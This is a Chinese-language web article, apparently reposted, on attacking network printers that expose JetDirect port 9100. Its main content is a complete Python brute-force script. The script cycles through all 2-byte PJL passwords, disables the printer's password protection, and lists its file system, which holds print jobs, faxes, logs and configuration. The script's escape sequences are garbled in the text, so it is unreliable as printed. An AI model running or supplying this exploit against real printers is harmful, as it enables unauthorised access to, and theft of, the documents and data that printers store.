若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),通过爆破可以将 PJL 的密码安全保护禁用,最终执行任意PJL命令。如果直接通过9100端口执行PJL命令,说明存在未授权访问。
PJL是打印控制语言PCL的扩展。文章前面部分已经介绍过,这里是针对认证PJL的爆破,否则无法使用PJL命令。危害:通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。
9100端口一般为JetDirect的端口,JetDirect虽然是惠普设计的,但是众多打印机都使用该软件,包括Canon、Lexmark、Samsung和Xerox。该软件负责处理通过网络提交的打印请求。网络打印机通过JetDirect协议,侦听,接收打印请求数据。
如下是PJL密码存储格式:
- @PJL JOB PASSWORD=0
- @PJL DEFAULT PASSWORD=12345
- @PJL DEFAULT DISKLOCK=ON
- @PJL DEFAULT CPLOCK=ON
可通过 内存和文件系统读取获取密码,或暴力破解。
爆破代码python3如下:
- import socket
- import sys
-
- def main():
- if len(sys.argv)<=1:
- print('Parameters error')
- return
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.settimeout(10)
- s.connect((sys.argv[1],9100))
- s.settimeout(None)
- # 发送读取设备ID的PJL指令
- s.send(('33%-12345X@PJL INFO IDrn33%-12345Xrn').encode('UTF-8'))
- print(s.recv(1024).decode('UTF-8'))
-
- for i in range(1, 65536):
- buf = b''
- # 发送重置密码的PJL指令
- s.send(('33%-12345X@PJL rn@PJL JOB PASSWORD=' + str(i) + 'rn@PJL DEFAULT PASSWORD=0 rn@PJL EOJrn33%-12345Xrn').encode('UTF-8'))
- if i%30 == 0:
- # 发送查询密码保护状态的PJL指令
- s.send(('33%-12345X@PJL rn@PJL DINQUIRE PASSWORDrn33%-12345Xrn').encode('UTF-8'))
- while True:
- buf += s.recv(1)
- print(buf)
- try:
- buf.index(b'rnx0c')
- try:
- # 密码保护被禁用
- buf.index(b'DISABLED')
- print('password disabled ok!')
- # 发送查询目录的PJL指令
- s.send(('33%-12345X@PJL rn@PJL FSDIRLIST NAME = "0:" ENTRY=1 COUNT=99rn33%-12345Xrn').encode('UTF-8'))
- buf = b''
- while True:
- buf += s.recv(1)
- print(buf)
- try:
- buf.index(b'rnx0c')
- try:
- # 查询成功
- buf.index(b'ENTRY')
- print('PoC OK!')
- return
- except ValueError:
- print('PoC NO!')
- return
- except ValueError:
- continue
- except ValueError:
- print('password disabled faild!')
- finally:
- s.close()
- return
- except ValueError:
- continue
- s.close()
-
- if __name__ == '__main__':
- main()
pft使用此脚本爆破:

返回password disabled ok!,说明成功禁用PJL密码保护。 (编辑:晋中站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|